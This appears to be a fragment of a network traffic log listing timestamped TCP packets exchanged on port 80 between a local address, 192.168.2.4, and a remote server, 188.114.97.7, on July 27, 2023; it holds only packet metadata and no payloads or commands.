Jul 27, 2023 18:26:48.073693991 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073740959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073787928 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073831081 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073833942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073875904 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073879004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073926926 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073976040 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074019909 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074021101 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074067116 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074069023 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074115992 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074162960 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074209929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074213982 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074249029 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074255943 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074301004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074347019 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074393034 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074393034 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074440002 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074441910 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074487925 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074533939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074559927 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074580908 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074625969 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074625969 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074671984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074718952 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074764967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074769020 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074810028 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074811935 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074856997 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074903965 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074950933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.074954987 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.074996948 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075001955 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075042963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075088978 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075134993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075139999 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075179100 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075180054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075226068 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075272083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075318098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075320959 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075364113 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075365067 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075411081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075458050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075501919 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075503111 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075544119 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075550079 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075598001 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075645924 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075692892 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075699091 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075737953 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075738907 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075788021 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075834990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075875998 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075879097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075918913 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.075925112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.075970888 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076019049 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076066017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076066017 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076107979 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076109886 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076157093 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076201916 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076246977 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076268911 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076303959 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076332092 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076379061 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076427937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076474905 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076479912 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076517105 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076520920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076565027 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076611996 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076658964 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076659918 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076705933 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076709986 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076751947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076796055 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076850891 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076859951 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076896906 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076905012 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.076941967 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.076987982 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.077032089 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.077038050 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.077074051 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.077076912 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.077120066 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.077167034 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.077182055 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.112457037 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.112684011 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.113003016 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.113368034 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.113467932 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.113594055 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.113658905 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.113796949 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.113848925 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.113933086 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114010096 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114097118 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114109039 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114181042 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114245892 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114253998 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114329100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114376068 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114423990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114425898 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114470005 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114480972 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114516020 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114561081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114608049 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114618063 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114654064 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114655018 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114702940 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114748955 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114763021 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114799023 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114845037 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114856958 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114892960 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114938021 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.114945889 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.114984989 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115031004 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115071058 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115103960 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115113974 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115117073 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115161896 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115209103 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115226984 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115255117 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115299940 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115309954 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115345001 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115390062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115436077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115439892 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115480900 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115504980 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115526915 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115571976 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115582943 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115619898 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115664959 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115669012 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115710974 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115756989 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115773916 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115803003 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115849018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115895033 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115899086 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115941048 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.115953922 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.115987062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116033077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116080046 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116084099 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116123915 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116127968 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116168022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116213083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116251945 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116271019 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116295099 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116369009 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116416931 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116465092 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116466045 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116513968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116561890 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116588116 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116609097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116652966 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116656065 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116702080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116748095 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116750956 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116797924 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116844893 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116889000 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116892099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116933107 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.116939068 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.116982937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117031097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117074013 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117077112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117120028 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117124081 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117170095 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117216110 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117255926 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117263079 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117302895 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117309093 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117352962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117417097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117460012 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117465973 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117502928 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117510080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117557049 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117604017 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117644072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117649078 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117691040 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117696047 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117742062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117785931 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117831945 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117831945 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117875099 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.117877960 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117924929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.117971897 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118012905 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118017912 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118062019 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118065119 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118113041 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118158102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118159056 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118204117 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118248940 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118292093 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118295908 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118340015 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118343115 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118387938 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118436098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118479967 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118482113 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118526936 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118530989 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118571997 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118619919 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118665934 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118666887 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118711948 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118712902 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118757963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118803978 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118849993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118851900 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118895054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118896008 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.118941069 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118988037 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.118992090 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119034052 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119081974 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119123936 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119127035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119173050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119174957 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119220018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119266033 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119312048 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119314909 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119357109 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119358063 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119405031 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119452953 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119498014 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119503975 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119544029 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119545937 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119590044 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119636059 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119682074 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119684935 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119726896 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119729042 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119775057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119822025 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119867086 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119872093 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119908094 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.119913101 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.119959116 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120003939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120049953 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120054007 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120090008 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120095015 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120142937 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120189905 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120234966 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120238066 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120276928 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120301962 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120348930 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120395899 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120440006 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120443106 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120481968 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120490074 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120537043 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120579004 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.120584011 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120630026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120675087 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120722055 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.120726109 CEST	49695	80	192.168.2.4	188.114.97.7
